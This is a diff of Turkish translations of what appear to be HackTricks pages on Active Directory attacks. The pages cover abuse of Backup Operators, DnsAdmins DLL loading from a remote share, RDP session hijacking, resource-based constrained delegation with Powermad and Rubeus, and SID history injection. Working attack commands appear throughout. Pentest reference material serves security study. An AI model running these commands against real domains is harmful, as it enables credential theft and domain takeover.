Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve bu sayede hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilebileceğini gösterir.
|
||||
Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir.
|
||||
|
||||
## Yedekleme Operatörleri
|
||||
|
||||
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları sayesinde `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
|
||||
`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir.
|
||||
|
||||
Grup üyelerini listelemek için şunu çalıştırın:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Backup Operators" -Recurse
|
||||
```
|
||||
### Yerel Saldırı
|
||||
@ -81,7 +81,7 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Over
|
||||
```
|
||||
### AD Saldırısı
|
||||
|
||||
Domain Controller'ın dosya sistemine doğrudan erişim, alan kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır.
|
||||
Domain Controller'ın dosya sistemine doğrudan erişim, domain kullanıcıları ve bilgisayarları için tüm NTLM hash'lerini içeren `NTDS.dit` veritabanının çalınmasına olanak tanır.
|
||||
|
||||
#### diskshadow.exe Kullanarak
|
||||
|
||||
@ -133,13 +133,13 @@ Pratik bir gösterim için [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watc
|
||||
**DnsAdmins** grubunun üyeleri, DNS sunucusunda (genellikle Alan Denetleyicileri üzerinde barındırılır) SYSTEM ayrıcalıklarıyla rastgele bir DLL yüklemek için ayrıcalıklarını kullanabilirler. Bu yetenek, önemli bir istismar potansiyeli sağlar.
|
||||
|
||||
DnsAdmins grubunun üyelerini listelemek için:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||
```
|
||||
### Rastgele DLL Yürüt
|
||||
### Rastgele DLL Yükle
|
||||
|
||||
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için şu komutları kullanabilir:
|
||||
```powershell
|
||||
Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzak bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir:
|
||||
```bash
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||
@ -163,37 +163,37 @@ DNS hizmetinin yeniden başlatılması (bu ek izinler gerektirebilir) DLL'nin y
|
||||
sc.exe \\dc01 stop dns
|
||||
sc.exe \\dc01 start dns
|
||||
```
|
||||
Daha fazla bilgi için bu saldırı vektörüne, ired.team'e başvurun.
|
||||
For more details on this attack vector, refer to ired.team.
|
||||
|
||||
#### Mimilib.dll
|
||||
|
||||
Belirli komutları veya ters kabukları çalıştırmak için mimilib.dll kullanmak da mümkündür. Daha fazla bilgi için [bu gönderiyi kontrol edin](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html).
|
||||
Mimilib.dll'yi belirli komutları veya ters shell'leri çalıştırmak için değiştirmek suretiyle komut yürütme amacıyla kullanmak da mümkündür. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information.
|
||||
|
||||
### WPAD Kaydı için MitM
|
||||
### WPAD Record for MitM
|
||||
|
||||
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Spoofing ve ağ trafiğini yakalamak için Responder veya Inveigh gibi araçlar kullanılabilir.
|
||||
DnsAdmins, global sorgu engelleme listesini devre dışı bıraktıktan sonra bir WPAD kaydı oluşturarak Man-in-the-Middle (MitM) saldırıları gerçekleştirmek için DNS kayıtlarını manipüle edebilir. Responder veya Inveigh gibi araçlar, ağ trafiğini sahteleyip yakalamak için kullanılabilir.
|
||||
|
||||
### Olay Günlüğü Okuyucuları
|
||||
Üyeler olay günlüklerine erişebilir, bu da düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulmalarını sağlayabilir.
|
||||
```powershell
|
||||
### Event Log Readers
|
||||
Üyeler, düz metin şifreler veya komut yürütme detayları gibi hassas bilgileri bulma potansiyeline sahip olan olay günlüklerine erişebilirler:
|
||||
```bash
|
||||
# Get members and search logs for sensitive information
|
||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
|
||||
```
|
||||
## Exchange Windows İzinleri
|
||||
|
||||
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilmesiyle ilgili ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır.
|
||||
```powershell
|
||||
Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub repo'sunda detaylandırılmıştır.
|
||||
```bash
|
||||
# List members
|
||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||
```
|
||||
## Hyper-V Yöneticileri
|
||||
|
||||
Hyper-V Yöneticileri, sanallaştırılmış Alan Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
|
||||
Hyper-V Yöneticileri, sanallaştırılmış Etki Alanı Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir.
|
||||
|
||||
### Sömürü Örneği
|
||||
|
||||
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir:
|
||||
Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korumalı bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir:
|
||||
```bash
|
||||
# Take ownership and start the service
|
||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||
@ -203,24 +203,24 @@ Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır.
|
||||
|
||||
## Organizasyon Yönetimi
|
||||
|
||||
**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm etki alanı kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir.
|
||||
**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu da içerir.
|
||||
|
||||
### Ayrıcalık İstismarı ve Komutlar
|
||||
|
||||
#### Yazdırma Operatörleri
|
||||
|
||||
**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Etki Alanı Denetleyicisi'ne yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir.
|
||||
**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Kontrolü'nü (UAC) atlamak gereklidir.
|
||||
|
||||
Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır:
|
||||
```powershell
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||
```
|
||||
Daha ayrıntılı **`SeLoadDriverPrivilege`** ile ilgili istismar teknikleri için, belirli güvenlik kaynaklarına başvurulmalıdır.
|
||||
Daha ayrıntılı istismar teknikleri için **`SeLoadDriverPrivilege`** ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır.
|
||||
|
||||
#### Uzak Masaüstü Kullanıcıları
|
||||
|
||||
Bu grubun üyelerine, Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
|
||||
```powershell
|
||||
Bu grubun üyelerine Uzak Masaüstü Protokolü (RDP) aracılığıyla PC'lere erişim izni verilir. Bu üyeleri listelemek için PowerShell komutları mevcuttur:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||
```
|
||||
@ -228,8 +228,8 @@ RDP'yi istismar etme konusunda daha fazla bilgiye özel pentesting kaynaklarınd
|
||||
|
||||
#### Uzaktan Yönetim Kullanıcıları
|
||||
|
||||
Üyeler **Windows Remote Management (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin sayımı şu şekilde gerçekleştirilir:
|
||||
```powershell
|
||||
Üyeler **Windows Uzaktan Yönetimi (WinRM)** üzerinden PC'lere erişebilir. Bu üyelerin belirlenmesi şu şekilde gerçekleştirilir:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||
```
|
||||
@ -237,8 +237,8 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
|
||||
|
||||
#### Sunucu Operatörleri
|
||||
|
||||
Bu grubun, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Alan Denetleyicileri üzerinde çeşitli yapılandırmalar yapma izinleri vardır. Üyeleri listelemek için verilen komut:
|
||||
```powershell
|
||||
Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut:
|
||||
```bash
|
||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||
```
|
||||
## Referanslar <a href="#references" id="references"></a>
|
||||
|
||||
@ -4,10 +4,10 @@
|
||||
|
||||
## RDP Süreç Enjeksiyonu
|
||||
|
||||
Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara** **RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**.
|
||||
Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**.
|
||||
|
||||
O kullanıcı RDP üzerinden erişim sağladıktan sonra, **saldırgan o kullanıcının oturumuna geçebilir** ve harici alandaki izinlerini istismar edebilir.
|
||||
```powershell
|
||||
```bash
|
||||
# Supposing the group "External Users" has RDP access in the current domain
|
||||
## lets find where they could access
|
||||
## The easiest way would be with bloodhound, but you could also run:
|
||||
@ -36,8 +36,8 @@ Check **other ways to steal sessions with other tools** [**in this page.**](../.
|
||||
|
||||
Eğer bir kullanıcı **RDP ile bir makineye** erişirse ve burada bir **saldırgan** onu **bekliyorsa**, saldırgan **kullanıcının RDP oturumuna bir beacon enjekte edebilir** ve eğer **kurban RDP ile erişirken diski bağladıysa**, **saldırgan buna erişebilir**.
|
||||
|
||||
Bu durumda, sadece **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz**.
|
||||
```powershell
|
||||
Bu durumda, **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz**.
|
||||
```bash
|
||||
# Wait til someone logs in:
|
||||
net logons
|
||||
Logged on users at \\localhost:
|
||||
|
||||
@ -1,22 +1,21 @@
|
||||
# Kaynağa Dayalı Kısıtlı Delegasyon
|
||||
# Resource-based Constrained Delegation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Resource-based Constrained Delegation Temelleri
|
||||
|
||||
## Kaynağa Dayalı Kısıtlı Delegasyonun Temelleri
|
||||
|
||||
Bu, temel [Kısıtlı Delegasyon](constrained-delegation.md) ile benzerdir ancak **bir nesneye** **bir hizmete karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Kaynağa Dayalı Kısıtlı Delegasyon **nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler**.
|
||||
Bu, temel [Constrained Delegation](constrained-delegation.md) ile benzerlik gösterir, ancak **bir nesneye** **bir makineye karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Resource-based Constrained Delegation **nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler**.
|
||||
|
||||
Bu durumda, kısıtlı nesne, herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır.
|
||||
|
||||
Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan adı yöneticisi ayrıcalıkları gerekiyordu).
|
||||
Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) **_msDS-AllowedToActOnBehalfOfOtherIdentity_** değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan yöneticisi ayrıcalıkları gerekiyordu).
|
||||
|
||||
### Yeni Kavramlar
|
||||
|
||||
Kısıtlı Delegasyonda, kullanıcının _userAccountControl_ değerinde **`TrustedToAuthForDelegation`** bayrağının **S4U2Self** gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değildir.\
|
||||
Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** varsa, dönen TGS **İleri Yönlendirilebilir** olacak ve eğer o bayrağa sahip değilseniz, dönen TGS **İleri Yönlendirilemez** olacaktır.
|
||||
Kısıtlı Delegasyon'da, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının **S4U2Self** gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değil.\
|
||||
Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** bayrağına sahipseniz, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**.
|
||||
|
||||
Ancak, **S4U2Proxy**'de kullanılan **TGS** **İleri Yönlendirilebilir DEĞİLSE**, temel bir **Kısıtlı Delegasyonu** kötüye kullanmaya çalışmak **çalışmayacaktır**. Ancak bir **Kaynağa Dayalı kısıtlı delegasyonu** istismar etmeye çalışıyorsanız, bu **çalışacaktır** (bu bir güvenlik açığı değil, görünüşe göre bir özelliktir).
|
||||
Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir **Kısıtlı Delegasyon** istismar etmeye çalışmak **çalışmayacaktır**. Ancak bir **Resource-Based kısıtlı delegasyonu** istismar etmeye çalışıyorsanız, bu **çalışacaktır**.
|
||||
|
||||
### Saldırı Yapısı
|
||||
|
||||
@ -24,24 +23,24 @@ Ancak, **S4U2Proxy**'de kullanılan **TGS** **İleri Yönlendirilebilir DEĞİLS
|
||||
|
||||
Saldırganın zaten **kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına** sahip olduğunu varsayalım.
|
||||
|
||||
1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Yönetici Kullanıcı_ özel bir ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi oluşturabilir** (**_MachineAccountQuota_** olarak) ve bunlara bir **SPN** ayarlayabilir. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir.
|
||||
2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak **Kaynağa Dayalı kısıtlı delegasyonu, ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde yapılandırır**.
|
||||
3. Saldırgan, **Service B**'ye **ayrılmış erişime** sahip bir kullanıcı için **tam bir S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek üzere Rubeus'u kullanır.
|
||||
1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (İleri Yönlendirilemez).
|
||||
2. S4U2Proxy: Önceki adımda **İleri Yönlendirilemez TGS**'yi kullanarak **kurban ana bilgisayara** **Yönetici**'den bir **TGS** istemek.
|
||||
3. İleri Yönlendirilemez bir TGS kullanıyor olsanız bile, Kaynağa Dayalı kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**.
|
||||
4. Saldırgan, **bilet geçişi** yapabilir ve kullanıcıyı **kurban ServiceB'ye erişim sağlamak için taklit edebilir**.
|
||||
1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Admin User_'ın başka bir özel ayrıcalığı olmadan **10 Bilgisayar nesnesi** (_MachineAccountQuota_) oluşturabileceğini ve bunlara bir **SPN** ayarlayabileceğini unutmayın. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir.
|
||||
2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kullanarak **HizmetA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde kaynak tabanlı kısıtlı delegasyonu yapılandırır**.
|
||||
3. Saldırgan, **Service B'ye ayrıcalıklı erişimi olan bir kullanıcı** için Service A'dan Service B'ye **tam bir S4U saldırısı** gerçekleştirmek üzere Rubeus'u kullanır.
|
||||
1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL).
|
||||
2. S4U2Proxy: Önceki adımda elde edilen **Forwardable DEĞİL TGS**'yi kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek.
|
||||
3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, Resource-based kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**.
|
||||
4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek kurban ServiceB'ye erişim elde edebilir**.
|
||||
|
||||
Alan adının _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
|
||||
```powershell
|
||||
Alanınızdaki _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz:
|
||||
```bash
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
## Saldırı
|
||||
|
||||
### Bir Bilgisayar Nesnesi Oluşturma
|
||||
|
||||
Bir bilgisayar nesnesi oluşturmak için [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
|
||||
```powershell
|
||||
**[powermad](https://github.com/Kevin-Robertson/Powermad)** kullanarak alan içinde bir bilgisayar nesnesi oluşturabilirsiniz:
|
||||
```bash
|
||||
import-module powermad
|
||||
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
|
||||
@ -51,12 +50,12 @@ Get-DomainComputer SERVICEA
|
||||
### Kaynak Tabanlı Kısıtlı Delegasyonu Yapılandırma
|
||||
|
||||
**activedirectory PowerShell modülünü kullanarak**
|
||||
```powershell
|
||||
```bash
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
```
|
||||
**Powerview Kullanımı**
|
||||
```powershell
|
||||
```bash
|
||||
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
|
||||
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
|
||||
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
||||
@ -81,7 +80,7 @@ Bu, o hesap için RC4 ve AES hash'lerini yazdıracaktır.\
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Rubeus'un `/altservice` parametresini kullanarak sadece bir kez istekte bulunarak daha fazla bilet oluşturabilirsiniz:
|
||||
Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha fazla hizmet için daha fazla bilet oluşturabilirsiniz:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
@ -90,8 +89,8 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:admin
|
||||
|
||||
### Erişim
|
||||
|
||||
Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Yönetici'den kurban makinesine **belleğe** enjekte edecektir.\
|
||||
Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz:
|
||||
Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Administrator'dan kurban hostuna **bellekte** enjekte edecektir.\
|
||||
Bu örnekte, Administrator'dan **CIFS** servisi için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
@ -107,7 +106,7 @@ ls \\victim.domain.local\C$
|
||||
- **`KDC_ERR_BADOPTION`**: Bu, şunları ifade edebilir:
|
||||
- Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir)
|
||||
- İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa)
|
||||
- Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetmiştir ve bunları geri vermeniz gerekir.
|
||||
- Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetti ve bunları geri vermeniz gerekiyor.
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -115,6 +114,7 @@ ls \\victim.domain.local\C$
|
||||
- [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
|
||||
- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,18 +4,46 @@
|
||||
|
||||
## SID History Injection Attack
|
||||
|
||||
**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alan kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısını (SID) yeni hesabının SID Geçmişine **ekleyerek** gerçekleştirilir. Özellikle, bu süreç, ana alandan yüksek ayrıcalıklı bir grubun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar.
|
||||
**SID History Injection Attack**'ın odak noktası, **kullanıcıların alanlar arasında göçünü** sağlarken, eski alan kaynaklarına erişimin devamını temin etmektir. Bu, kullanıcının önceki Güvenlik Tanımlayıcısının (SID) yeni hesabının SID Geçmişine **dahil edilmesiyle** gerçekleştirilir. Özellikle, bu süreç, ana alandan yüksek ayrıcalıklı bir grubun (örneğin, Enterprise Admins veya Domain Admins) SID'sini SID Geçmişine ekleyerek yetkisiz erişim sağlamak için manipüle edilebilir. Bu istismar, ana alandaki tüm kaynaklara erişim sağlar.
|
||||
|
||||
Bu saldırıyı gerçekleştirmek için iki yöntem vardır: ya bir **Golden Ticket** ya da bir **Diamond Ticket** oluşturmak.
|
||||
|
||||
**"Enterprise Admins"** grubunun SID'sini belirlemek için, önce kök alanın SID'sini bulmak gerekir. Tanımlamanın ardından, Enterprise Admins grup SID'si kök alanın SID'sine `-519` eklenerek oluşturulabilir. Örneğin, kök alan SID'si `S-1-5-21-280534878-1496970234-700767426` ise, "Enterprise Admins" grubunun sonuçta elde edilen SID'si `S-1-5-21-280534878-1496970234-700767426-519` olacaktır.
|
||||
|
||||
Ayrıca **Domain Admins** gruplarını da kullanabilirsiniz, bu grup **512** ile biter.
|
||||
Ayrıca, **512** ile biten **Domain Admins** gruplarını da kullanabilirsiniz.
|
||||
|
||||
Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın başka bir yolu:
|
||||
```powershell
|
||||
Diğer bir alanın (örneğin "Domain Admins") grubunun SID'sini bulmanın bir başka yolu:
|
||||
```bash
|
||||
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
||||
```
|
||||
> [!WARNING]
|
||||
> SID geçmişini bir güven ilişkisi içinde devre dışı bırakmanın bu saldırının başarısız olmasına neden olabileceğini unutmayın.
|
||||
|
||||
[**docs**](https://technet.microsoft.com/library/cc835085.aspx) göre:
|
||||
- **Orman güvenlerinde SIDHistory'yi devre dışı bırakma** netdom aracı kullanılarak (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
|
||||
- **Dış güvenlere SID Filtreleme Karantinası uygulama** netdom aracı kullanılarak (`netdom trust /domain: /quarantine:yes on the domain controller`)
|
||||
